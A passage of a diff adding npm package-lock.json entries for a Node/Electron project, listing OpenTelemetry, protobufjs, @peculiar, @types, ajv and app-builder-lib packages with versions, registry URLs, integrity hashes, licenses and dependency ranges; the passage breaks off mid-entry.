"sha512-HhbN3/B8vG+JNKH2oLMynFFrz2O/o+WFklfwiVq3ffdRWOEZx1zHeYe6r86fn9BUSpQ2U5cXfQja+otTdzi5qQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/sdk-metrics": "2.12.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-grpc": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-grpc/-/exporter-trace-otlp-grpc-0.223.0.tgz", + "integrity": "sha512-gYDt98a44cvdbJNL+fFCFO7k7qSGaWGZAb6WUXGCKL0RiRhF96N6jlH4wXMzS1daZoV5AMHZZixjaLpQBMhpvA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-grpc-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0", + "@opentelemetry/sdk-trace": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-http": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.223.0.tgz", + "integrity": "sha512-N8NWZaoQuF9e307S6xoVoI1lvxOOFkmBnynD42r02CPCfxoC95cJExAKBFrTD4C5iuhqthbzOZJN/W29ez4o/A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0", + "@opentelemetry/sdk-trace": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-proto": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-proto/-/exporter-trace-otlp-proto-0.223.0.tgz", + "integrity": "sha512-hCFhPuROokNpwLibKmeMRuBNjPtbL+Ja5y/e/KBl5p3QcaH7xBjkj8roIGgKwCNJ4WChRLBzfoaNM3QksogfWw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0", + "@opentelemetry/sdk-trace": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-zipkin": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-zipkin/-/exporter-zipkin-2.12.0.tgz", + "integrity": "sha512-XfHO6VxPkVD/QaXqgppdHK2DTqmtHLH06ggslhm5hVYAS+dwD3okaeIyhxXBbhmWn9HhCYcv285eK1TgyF0wYQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/sdk-trace": "2.12.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.0.0" + } + }, + "node_modules/@opentelemetry/instrumentation": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation/-/instrumentation-0.223.0.tgz", + "integrity": "sha512-tttBo88TbwK1zpsH6VeJoxLQopxOjW3cnrP50fsQJRZftkSKDDwjolXXBvow2jy0LKXlNRkDQh0NT6yI/q+BEQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.223.0", + "import-in-the-middle": "^3.0.0", + "require-in-the-middle": "^8.0.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/otlp-exporter-base": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.223.0.tgz", + "integrity": "sha512-HlJMrJXjOqdQeoYNDHEvFTpaY2p9uWDK1GPl5AZ4wI5easzfoppTduOv47M8eiF+4ew42vfI/Xvt7THYgESnRw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "@opentelemetry/otlp-transformer": "0.223.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/otlp-grpc-exporter-base": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-grpc-exporter-base/-/otlp-grpc-exporter-base-0.223.0.tgz", + "integrity": "sha512-62DuT9qzwFEFPq1aguQ+P6cWC4sJPwMxCj8wZ3Q+mH8LpPcV6zdv5gj1YtGIGZF5FcKt9JnDVraey0CEnu9MtQ==", + "license": "Apache-2.0", + "dependencies": { + "@grpc/grpc-js": "^1.14.3", + "@opentelemetry/core": "2.12.0", + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-transformer": "0.223.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/otlp-transformer": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.223.0.tgz", + "integrity": "sha512-oxmmPL5/MbSsO8K588V9n/XLIe7FZTK30Fo+/U/lAnt0ZIK/hoPM03n2WpSTZVbUBGTUE7aLyxnAzh7nE2PD4Q==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.223.0", + "@opentelemetry/core": "2.12.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/sdk-logs": "0.223.0", + "@opentelemetry/sdk-metrics": "2.12.0", + "@opentelemetry/sdk-trace": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/propagator-b3": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-b3/-/propagator-b3-2.12.0.tgz", + "integrity": "sha512-ktio0dVz2Uo83+EESOqMwqdJqoZKcf4EtmuG0mxddMKGbwN2Tignyq7JR9R7SBr1riwevitke+tpYQTMS/Fi0g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/propagator-jaeger": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/propagator-jaeger/-/propagator-jaeger-2.12.0.tgz", + "integrity": "sha512-Kz2Vz+NILW7S1WtN4rV1wr76fMtT/RRWvAMFBc91uTIi2dDMXxrfBKNe2KH7yaCfFp1X0xfAuabzuFczvoPB6A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/resources": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.12.0.tgz", + "integrity": "sha512-+rSRoOdln6NhXTVcBdHSlZxJDNzwxadeweK2ltZO3tVtfp6aklABc06xclDk6ovRR+EiGgIcSbh/6NgjFhnb3A==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-logs": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.223.0.tgz", + "integrity": "sha512-ApiAfUiUh6fmJt1GbsBuoeDn8D8IL42UvGyPUr8o1Z89ZeIiOCE1rZ78KkIUjEX3OV8Oorl9ez5Qjo43ZynDyw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.223.0", + "@opentelemetry/core": "2.12.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.4.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-metrics": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.12.0.tgz", + "integrity": "sha512-mVMaEHwCUJuY3S4Esn+nT0yQA3qCEGh+SOPJsXygU0Gl453WcsDNjtEa8EfdewMwoLyr1tlofB4fXytVpiXuow==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "@opentelemetry/resources": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-node": { + "version": "0.223.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-node/-/sdk-node-0.223.0.tgz", + "integrity": "sha512-PPfkgVBB9XVdANmSYeGfp1tG6RdsRFo9m9R6/ZnjvE9+TYTEXO2KYarsdtXQTdHhLSw7yzhSHqsNyUQ6c6W3eg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.223.0", + "@opentelemetry/configuration": "0.223.0", + "@opentelemetry/context-async-hooks": "2.12.0", + "@opentelemetry/core": "2.12.0", + "@opentelemetry/exporter-logs-otlp-grpc": "0.223.0", + "@opentelemetry/exporter-logs-otlp-http": "0.223.0", + "@opentelemetry/exporter-logs-otlp-proto": "0.223.0", + "@opentelemetry/exporter-metrics-otlp-grpc": "0.223.0", + "@opentelemetry/exporter-metrics-otlp-http": "0.223.0", + "@opentelemetry/exporter-metrics-otlp-proto": "0.223.0", + "@opentelemetry/exporter-prometheus": "0.223.0", + "@opentelemetry/exporter-trace-otlp-grpc": "0.223.0", + "@opentelemetry/exporter-trace-otlp-http": "0.223.0", + "@opentelemetry/exporter-trace-otlp-proto": "0.223.0", + "@opentelemetry/exporter-zipkin": "2.12.0", + "@opentelemetry/instrumentation": "0.223.0", + "@opentelemetry/otlp-exporter-base": "0.223.0", + "@opentelemetry/otlp-grpc-exporter-base": "0.223.0", + "@opentelemetry/propagator-b3": "2.12.0", + "@opentelemetry/propagator-jaeger": "2.12.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/sdk-logs": "0.223.0", + "@opentelemetry/sdk-metrics": "2.12.0", + "@opentelemetry/sdk-trace": "2.12.0", + "@opentelemetry/sdk-trace-base": "2.12.0", + "@opentelemetry/sdk-trace-node": "2.12.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-trace": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace/-/sdk-trace-2.12.0.tgz", + "integrity": "sha512-ImVuRQ6faOsTi1Wna88s2avgrrf/iDgXPigIeynkUhjstMuoQUDOJXgkez2j1mlU4btjXcXBGa+q7qKFYR3GsA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.12.0.tgz", + "integrity": "sha512-JOERgZCxRM06FEJ5kEWxlSRChah6MmXDx3KwCruqEv/iEyLkTokCSemf2y1w8oIHtfrr8EVTpzebq/31vn2Cpg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.12.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/sdk-trace": "2.12.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-trace-node": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-2.12.0.tgz", + "integrity": "sha512-9DufH1IlmQMoKAfot5y/FhTP1RnmhLb5K6eKmJO/bvzPjYwPAazoiAUbTZFdPbqxOXN0FEbhZx/e6SB1Og4jmg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/context-async-hooks": "2.12.0", + "@opentelemetry/core": "2.12.0", + "@opentelemetry/sdk-trace-base": "2.12.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/semantic-conventions": { + "version": "1.43.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.43.0.tgz", + "integrity": "sha512-eSYWTm620tTk45EKSedaUL8MFYI8hW164hIXsgIHyxu3VobUB3fFCu5t0hQby6OoWRPsG1KkKUG2M5UadiLiVg==", + "license": "Apache-2.0", + "engines": { + "node": ">=14" + } + }, + "node_modules/@peculiar/asn1-schema": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/@peculiar/asn1-schema/-/asn1-schema-2.10.0.tgz", + "integrity": "sha512-GhokD41lV4gQrrLYm3wCkHfBOnJrnhDMgt4XeMW8gzfE1UdJqIuSwsE+ggf82XBjUXRJylcm+KIGQFa4utIVLw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@peculiar/utils": "^2.0.2", + "asn1js": "^3.0.10", + "tslib": "^2.8.1" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@peculiar/json-schema": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/@peculiar/json-schema/-/json-schema-1.1.12.tgz", + "integrity": "sha512-coUfuoMeIB7B8/NMekxaDzLhaYmp0HZNPEjYRm9goRou8UZIC3z21s0sL9AWoCw4EG876QyO3kYrc61WNF9B/w==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@peculiar/utils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@peculiar/utils/-/utils-2.0.3.tgz", + "integrity": "sha512-+oL3HPFRIZ1St2K50lWCXiioIgSoxzz7R1J3uF6neO2yl1sgmpgY6XXJH4BdpoDkMWznQTeYF6oWNDZLCdQ4eQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^2.8.1" + } + }, + "node_modules/@peculiar/webcrypto": { + "version": "1.7.1", + "resolved": "https://registry.npmjs.org/@peculiar/webcrypto/-/webcrypto-1.7.1.tgz", + "integrity": "sha512-ODOov0sGMJMf3jPonOkgGqPknTsu+DdQ7kD++gz8aI+aFMOMHFbWAA2taqXXVTdP+OTOQR/znGvSpmkeI0WTYQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@peculiar/asn1-schema": "^2.7.0", + "@peculiar/json-schema": "^1.1.12", + "@peculiar/utils": "^2.0.2", + "tslib": "^2.8.1", + "webcrypto-core": "^1.9.2" + }, + "engines": { + "node": ">=14.18.0" + } + }, + "node_modules/@protobufjs/aspromise": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/aspromise/-/aspromise-1.1.2.tgz", + "integrity": "sha512-j+gKExEuLmKwvz3OgROXtrJ2UG2x8Ch2YZUxahh+s1F2HZ+wAceUNLkvy6zKCPVRkU++ZWQrdxsUeQXmcg4uoQ==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/base64": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/base64/-/base64-1.1.2.tgz", + "integrity": "sha512-AZkcAA5vnN/v4PDqKyMR5lx7hZttPDgClv83E//FMNhR2TMcLUhfRUBHCmSl0oi9zMgDDqRUJkSxO3wm85+XLg==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/codegen": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@protobufjs/codegen/-/codegen-2.0.5.tgz", + "integrity": "sha512-zgXFLzW3Ap33e6d0Wlj4MGIm6Ce8O89n/apUaGNB/jx+hw+ruWEp7EwGUshdLKVRCxZW12fp9r40E1mQrf/34g==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/eventemitter": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@protobufjs/eventemitter/-/eventemitter-1.1.1.tgz", + "integrity": "sha512-vW1GmwMZNnL+gMRaovlh9yZX74kc+TTU3FObkkurpMaRtBfLP3ldjS9KQWlwZgraRE0+dheEEoAxdzcJQ8eXZg==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/fetch": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@protobufjs/fetch/-/fetch-1.1.1.tgz", + "integrity": "sha512-GpptLrs57adMSuHi3VNj0mAF8dwh36LMaYF6XyJ6JMWlVsc+t42tm1HSEDmOs3A8fC9yyeisgLhsTVQokOZ0zw==", + "license": "BSD-3-Clause", + "dependencies": { + "@protobufjs/aspromise": "^1.1.1" + } + }, + "node_modules/@protobufjs/float": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@protobufjs/float/-/float-1.0.2.tgz", + "integrity": "sha512-Ddb+kVXlXst9d+R9PfTIxh1EdNkgoRe5tOX6t01f1lYWOvJnSPDBlG241QLzcyPdoNTsblLUdujGSE4RzrTZGQ==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/path": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/path/-/path-1.1.2.tgz", + "integrity": "sha512-6JOcJ5Tm08dOHAbdR3GrvP+yUUfkjG5ePsHYczMFLq3ZmMkAD98cDgcT2iA1lJ9NVwFd4tH/iSSoe44YWkltEA==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/pool": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@protobufjs/pool/-/pool-1.1.0.tgz", + "integrity": "sha512-0kELaGSIDBKvcgS4zkjz1PeddatrjYcmMWOlAuAPwAeccUrPHdUqo/J6LiymHHEiJT5NrF1UVwxY14f+fy4WQw==", + "license": "BSD-3-Clause" + }, + "node_modules/@protobufjs/utf8": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@protobufjs/utf8/-/utf8-1.1.2.tgz", + "integrity": "sha512-b1UQwcEZ4yCnMCD8DAL1VlbvBJE9/IX4FTIp7BG1xYpf29SLazLSrqUkj4w7Y5y7cCVP6E5tcqqcI0xemPkHug==", + "license": "BSD-3-Clause" + }, + "node_modules/@sindresorhus/is": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.6.0.tgz", + "integrity": "sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/is?sponsor=1" + } + }, + "node_modules/@szmarczak/http-timer": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.6.tgz", + "integrity": "sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w==", + "dev": true, + "license": "MIT", + "dependencies": { + "defer-to-connect": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@types/cacheable-request": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.3.tgz", + "integrity": "sha512-IQ3EbTzGxIigb1I3qPZc1rWJnH0BmSKv5QYTalEwweFvyBDLSAe24zP0le/hyi7ecGfZVlIVAg4BZqb8WBwKqw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/http-cache-semantics": "*", + "@types/keyv": "^3.1.4", + "@types/node": "*", + "@types/responselike": "^1.0.0" + } + }, + "node_modules/@types/debug": { + "version": "4.1.13", + "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.13.tgz", + "integrity": "sha512-KSVgmQmzMwPlmtljOomayoR89W4FynCAi3E8PPs7vmDVPe84hT+vGPKkJfThkmXs0x0jAaa9U8uW8bbfyS2fWw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/ms": "*" + } + }, + "node_modules/@types/fs-extra": { + "version": "9.0.13", + "resolved": "https://registry.npmjs.org/@types/fs-extra/-/fs-extra-9.0.13.tgz", + "integrity": "sha512-nEnwB++1u5lVDM2UI4c1+5R+FYaKfaAzS4OococimjVm3nQw3TuzH5UNsocrcTBbhnerblyHj4A49qXbIiZdpA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/http-cache-semantics": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz", + "integrity": "sha512-L3LgimLHXtGkWikKnsPg0/VFx9OGZaC+eN1u4r+OB1XRqH3meBIAVC2zr1WdMH+RHmnRkqliQAOHNJ/E0j/e0Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/keyv": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.4.tgz", + "integrity": "sha512-BQ5aZNSCpj7D6K2ksrRCTmKRLEpnPvWDiLPfoGyhZ++8YtiK9d/3DBKPJgry359X/P1PfruyYwvnvwFjuEiEIg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/ms": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", + "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "24.19.2", + "resolved": "https://registry.npmjs.org/@types/node/-/node-24.19.2.tgz", + "integrity": "sha512-93d49wCWJkCyN87MxLpNN6KXPCwFw7bVUg79mGUV1OS40JGWwVCr8n61DXCSqz7CV6/VfPkb7xec7uP2M+QHWQ==", + "license": "MIT", + "dependencies": { + "undici-types": ">=7.24.0 <7.24.7" + } + }, + "node_modules/@types/responselike": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@types/responselike/-/responselike-1.0.3.tgz", + "integrity": "sha512-H/+L+UkTV33uf49PH5pCAUBVPNj2nDBXTN+qS1dOwyyg24l3CcicicCA7ca+HMvJBZcFgl5r8e+RR6elsb4Lyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@xmldom/xmldom": { + "version": "0.8.15", + "resolved": "https://registry.npmjs.org/@xmldom/xmldom/-/xmldom-0.8.15.tgz", + "integrity": "sha512-/5NV/vDALVFDXgLmfsy9TRCBlKwO2LNBFzpzvb9iIj+jR+eSc6DLYYvVOdivT/jm7MtU6TebYuRmzEOI7w40UA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/abbrev": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-4.0.0.tgz", + "integrity": "sha512-a1wflyaL0tHtJSmLSOVybYhy22vRih4eduhhrkcjgrWGnRfrZtovJ2FRjxuTtkkj47O/baf0R86QU5OuYpz8fA==", + "dev": true, + "license": "ISC", + "engines": { + "node": "^20.17.0 || >=22.9.0" + } + }, + "node_modules/accepts": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz", + "integrity": "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==", + "license": "MIT", + "dependencies": { + "mime-types": "^3.0.0", + "negotiator": "^1.0.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/agent-base": { + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", + "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 14" + } + }, + "node_modules/ajv": { + "version": "8.20.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", + "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/app-builder-lib": { + "version": "26.15.3", + "resolved": "https://registry.npmjs.org/app-builder-lib/-/app-builder-lib-26.15.3.tgz", + "integrity": "sha512-2VnyWkqsP5v5XbBhL3tD5Syx8iNPBYsoU7kY4S2fz7wg8Rj/nztWKCUzGKaFRTv0Xwf3/H058CR1Kvtd/3lRow==", + "dev": true, + "license": "MIT", + "dependencies": { + "@electron/asar": "3.4.1", + "@electron/fuses": "^1.8.0", + "@electron/get": "^3.0.0", + "@electron/notarize": "2.5.0", + "@electron/osx-sign": "1.3.3", + "@electron/rebuild": "^4.0.4", + "@electron/universal": "2.0.3", + "@malept/flatpak-bundler": "^0.4.0", + "@noble/hashes": "^2.2.0", + "@peculiar/webcrypto": "^1.7.1", + "@types/fs-extra": "9.0.13", + "ajv": "^8.18.0", + "asn1js": "^3.0.10", + "async-exit-hook": "^2.0.1", + "builder-util": "26.15.3", + "builder-util-runtime": "9.7.0", + "chromium-pickle-js": "^0.2.0", + "ci-info": "4.3.1", + "debug": "^4.3.4", + "dotenv": "^16.4.5", + "dotenv-expand": "^11.0.6", + "ejs": "^3.1.8", + "electron-publish": "26.15.3", + "fs-extra": "^10.1.0", + "hosted-git-info": "^4.1.0", + "isbinaryfile": "^5.0.0", + "jiti": "^2.4.2", + "js-yaml": "^4.1.0", + "json5": "^2.2.3", + "lazy-val": "^1.0.5", + "minimatch": "^10.2.5", + "pkijs": "^3.4.0", + "plist": "3.1.0", + "proper-lockfile": "^4.1.2", + "resedit": "^1.7.0", + "semver": "~7.7.3", + "tar": "^7.5.7", + "temp-file": "^3.4.0", + "tiny-async-pool": "1.3.0", + "unzipper": "^0.12.3", + "which": "^5.0.0" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "dmg-builder": "26.15.3", + "electron-builder-squirrel-windows": "26.15.3" + } + }, + "node_modules/app-builder-lib/node_modules/@electron/get": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@electron/get/-/get-3.1.0.tgz", + "integrity": "sha512-F+nKc0xW+kVbBRhFzaMgPy3KwmuNTYX1fx6+FxxoSnNgwYX6LD7AKBTWkU0MQ6IBoe7dz069CNkR673sPAgkCQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.1.1", + "env-paths": "^2.2.0", + "fs-extra": "^8.1.0", + "got": "^11.8.5", + "progress": "^2.0.3", + "semver": "^6.2.0", + "sumchecker": "^3.0.1" + }, + "engines": { + "node": ">=14" + }, + "optionalDependencies": { + "global-agent": "^3.0.0" + } + }, + "node_modules/app-builder-lib/node_modules/@electron/get/node_modules/fs-extra": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", + "integrity": 